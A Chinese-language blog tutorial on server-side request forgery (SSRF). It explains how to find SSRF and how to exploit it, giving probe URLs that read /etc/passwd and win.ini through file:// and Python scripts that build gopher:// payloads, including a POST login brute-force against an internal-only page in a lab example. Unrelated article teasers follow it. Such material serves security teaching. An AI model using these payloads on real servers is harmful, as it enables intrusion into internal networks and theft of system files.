八、SSRF服务器端请求伪造漏洞

news2024/11/18 9:21:11

一、SSRF漏洞介绍

SSRF:全称Server-side Request Fogery(服务器端请求伪造漏洞),其是攻击者绕过网站的一些过滤,访问或或攻击或控制了一些本不应该访问或接触的内容(拿外网主机当跳板机去窥探内网)

二、SSRF漏洞发现

简单例子①:
在这里插入图片描述
解释:在此例子中发现该例子在提示我们,使用curl通过url获得我们想要的内容,遇到这种提示,我们就需要怀疑是否存在SSRF漏洞(测试与利用方式下文讲

简单例子②:

http://xxx.com/?title=http://jack.xxx.com/x.png

解释:在此例子中,http://xxx.com/?title=http://jack.xxx.com/x.png是一个请求,而里面又包含了一个请求,http://jack.xxx.com/x.png我们需要观察该请求是由我们本地浏览器发出的,还是直接由服务器返回的,如果是由服务器返回的,那就说明此处可能存在SSRF漏洞,我们可能通过改变此处title对应的参数内容来访问到网站不希望我们访问到的内容(测试与利用方式下文讲

简单例子③:
在这里插入图片描述

在这里插入图片描述
解释:通过百度翻译提供的对某网站的翻译,提交网址后,百度翻译肯定会在其服务器内部对我们提交的链接进行访问,此时可能就存在SSRF漏洞(测试与利用方式下文讲

三、SSRF漏洞测试与利用

解释:想要测试SSRF是否存在需要利用下面的协议去访问一些信息(下面讲的并不全面),来检查是否存在漏洞

1.http

http://xxx.com/?title=http://jack.xxx.com/x.png

解释:如上例所示,此种测试将title内容设置为某网址,然后看看服务器是否将该界面内容或者某信息返回到前端页面

2.file

http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

解释:尝试去访问敏感信息,查看页面是否有什么变化

3.gopher

解释:gopher在web访问问世之前,是一种最常用的协议(现在使用较少),使用gopher可以发送GET、POST请求(模拟构造时表头要尽量全和真以免一些不必要的问题),正因如此,gopher相比前面的协议来说,更具备威胁性,更有杀伤力

# 下面介绍如何用gopher构造GET请求

web请求:
GET /mytest/gopher.php?x=haha HTTP/1.1
HOST:http://192.168.31.89/

规则:1.所有字符都在一行2.内容需要经过一次url编码(一般就是编码空格(%20)、问号(%3f)、回车换行(%0d%0a))(否则gopher解析不了)3.如果输入浏览器网址栏,则需要进行两次url编码4.前缀为gopher://地址:端口/_(此处_不可缺少)5.建议使用python的urllib.parse进行url编码(其中的%0a需要自己替换为%0d%0a)

gopher请求:
gopher://192.168.31.89:80/_GET%20/mytest/gopher.php%3Fx=haha%20HTTP/1.1%0d%0aHOST:http://192.168.31.89/%0d%0a

# python脚本生成快速
# 注意若构造POST请求,Content-Type,Content-Length都不能缺少
import urllib.parse

ip_port = '127.0.0.1:80'

web = f'''GET / HTTP/1.1
Host: {ip_port}
'''

t = urllib.parse.quote(web)
t = t.replace('%0A', '%0D%0A')
t = urllib.parse.quote(t)

# 构成gopher
t = f'gopher://{ip_port}/_{t}'
print(t)

3.1 实例一

内容:在一个界面有登录,但是下面提示(you are not an inner user, so we can not let you have identify~),这就暗示着只有内网才可以登录;第二个页面存在SSRF漏洞,此时我们将可以让服务器当做我们的跳板机(它就是内网中一台机器),利用其存在SSRF漏洞,用gopher发送请求(以服务器的身份)去用暴力破解尝试登录操作,最后成功登录(下面的代码是构造gopher的代码)

import urllib.parse

ip_port = '127.0.0.1:80'

payload = 'uname=admin&passwd=admin'

web = f'''POST / HTTP/1.1
Host: {ip_port}
Content-Length: {len(payload)}
Content-Type: application/x-www-form-urlencoded

{payload}
'''

t = urllib.parse.quote(web)
t = t.replace('%0A', '%0D%0A')
t = urllib.parse.quote(t)

# 构成gopher
t = f'gopher://{ip_port}/_{t}'
print(t)


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1302927.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

算法通关村第八关—二叉树的经典算法题(青铜)

二叉树的经典算法题 一、二叉树里的双指针 双指针就是定义了两个变量,在二叉树中有时候也需要至少定义两个变量才能解决问题,这两个指针可能针对一棵树,也可能针对两棵树,姑且也称之为“双指针”吧。一般是与对称、反转和合并等类…

6-6 计算最长的字符串长度

本题要求实现一个函数,用于计算有n个元素的指针数组s中最长的字符串的长度。 函数接口定义: int max_len( char *s[], int n ); 其中n个字符串存储在s[]中,函数max_len应返回其中最长字符串的长度。 裁判测试程序样例: #incl…

algorithm graphics

绘制地图坐标路线_哔哩哔哩_bilibili neo4j test-CSDN博客

【Angular开发】Angular 16发布:发现前7大功能

Angular 于2023年5月3日发布了主要版本升级版Angular 16。作为一名Angular开发人员,我发现这次升级很有趣,因为与以前的版本相比有一些显著的改进。 因此,在本文中,我将讨论Angular 16的前7个特性,以便您更好地理解。…

关于 SAP S/4HANA 中的控制您应该了解什么-Part1

原文地址:What you should know about controlling in SAP S/4HANA. (Part 1) | SAP Blogs (自 SAP S/4HANA 版本 1909 起更新) 作为一名CO顾问,我对 SAP ERP 中央组件 (ECC) 向 SAP S/4HANA 的演变感到非常兴奋。 自从第一个版…

13.触发器

目录 1、创建触发器 1、创建只有一个执行语句的触发器 2、创建有多个执行语句的触发器 2、查看触发器 1、通过SHOW TRIGGERS查看触发器: 2.在triggers 表中查看触发器信息 3、使用触发器 4、删除触发器 1、创建触发器 MySQL 的触发器和存储过程一样,都是嵌…

高效扫频阻垢装置广谱感应水处理设备介绍工作原理使用参数和选型

​ 1:高效扫频阻垢装置设备介绍 高效扫频阻垢装置是一种通过控制箱释放变频电磁信号,传输到信号放大装置,管道外侧的电磁线圈和电锤产生高频机械振动,在管道和水中传输,通过共振机理破坏水分子之间的氢键,产…

ubuntu 命令行安装 conda

安装包地址: Index of / 找到对应的版本,右键点复制链接 wget https://repo.anaconda.com/archive/Anaconda3-2023.09-0-Linux-x86_64.shbash Anaconda3-2023.09-0-Linux-x86_64.sh https://linzhji.blog.csdn.net/article/details/126530244

计算机病毒判定专家系统原理与设计《文字提取人工修正》

内容源于网络。网络上流转的版本实在是不易阅读, 又不忍神作被糟蹋故稍作整理,对于内容仍然有识别不准的地方,网友可留言,我跟进修改。 雷 军 (武汉大学计算机系,430072) 摘要: 本文详细地描述了…

Excel表格转换word的两个方法

Excel表格想要转换到word文档中,直接粘贴复制的话,可能会导致表格格式错乱,那么如何转换才能够保证表格不错乱?今天分享两个方法,excel表格转换为word文件。 方法一: 首先打开excel表格,将表格…

Linux部署Kettle(pentaho-server-ce-9.4.0.0-343)记录/配置MySQL存储

下载地址 Kettle 是一个开源的数据集成工具,它是 Pentaho Data Integration(PDI)项目的一部分。要访问 Kettle 的官方网站,可以通过访问其母公司 Hitachi Vantara 的网站来找到相关信息 官方网站:https://www.hitachi…

面试 JVM 八股文五问五答第一期

面试 JVM 八股文五问五答第一期 作者:程序员小白条,个人博客 相信看了本文后,对你的面试是有一定帮助的! ⭐点赞⭐收藏⭐不迷路!⭐ 1.JVM内存布局 Heap (堆区) 堆是 OOM 故障最主要的发生区域。它是内存…

class074 背包dp-分组背包、完全背包【算法】

class074 背包dp-分组背包、完全背包【算法】 算法讲解074【必备】背包dp-分组背包、完全背包 code1 P1757 通天之分组背包 // 分组背包(模版) // 给定一个正数m表示背包的容量,有n个货物可供挑选 // 每个货物有自己的体积(容量消耗)、价值(获得收益)、组号(分组)…

分布式搜索引擎02

分布式搜索引擎02 在昨天的学习中,我们已经导入了大量数据到elasticsearch中,实现了elasticsearch的数据存储功能。但elasticsearch最擅长的还是搜索和数据分析。 所以今天,我们研究下elasticsearch的数据搜索功能。我们会分别使用DSL和Res…

小红书笔记种草表现怎么看,营销攻略!

小红书平台的传播,离不开内容种草。当我们撰写好一篇笔记并进行发布后,该如何衡量这篇笔记的种草表现呢?今天我们为大家分享下小红书笔记种草表现怎么看,营销攻略! 一、小红书笔记种草衡量指标 想要了解小红书笔记种草表现怎么看…

智能监控平台/视频共享融合系统EasyCVR接入大华SDK后只有一路通道可云台控制该如何解决?

TSINGSEE青犀视频监控汇聚平台EasyCVR可拓展性强、视频能力灵活、部署轻快,可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等,以及支持厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安防视频监控的能力&…

31、卷积 - 参数 dilation 以及空洞卷积

在卷积算法中,还有一个不常见的参数叫做dilation(中文:膨胀)。 很多同学可能没听说过这个参数,下面看看这个参数有什么作用,用来控制什么的。 我们还是放这个经典的卷积运算图,图中是看不出 dilation 这个参数的存在的。 如果再换一张图呢,发现两图的区别了吗? 没错…

蓝桥杯Web组学习总结 - 目录导航版

HTML5 HTML 基础标签 HTML5 标签列表 HTML5 新特性 HTML5都有哪些新特性? CSS3 CSS 基础语法 CSS参考手册 盒子模型 CSS Box Model (盒子模型) 浮动与定位?? CSS 浮动(float)与定位(position) CSS布局之浮动和定位 CSS3 新特性 …

Python从入门到精通五:Python数据容器

数据容器入门 为什么学习数据容器 思考一个问题:如果我想要在程序中,记录5名学生的信息,如姓名。 如何做呢? 学习数据容器,就是为了批量存储或批量使用多份数据 Python中的数据容器: 一种可以容纳多份…

【每日一题】—— B. StORage room(Codeforces Round 912 (Div. 2))(位操作符)

🌏博客主页:PH_modest的博客主页 🚩当前专栏:每日一题 💌其他专栏: 🔴 每日反刍 🟡 C跬步积累 🟢 C语言跬步积累 🌈座右铭:广积粮,缓称…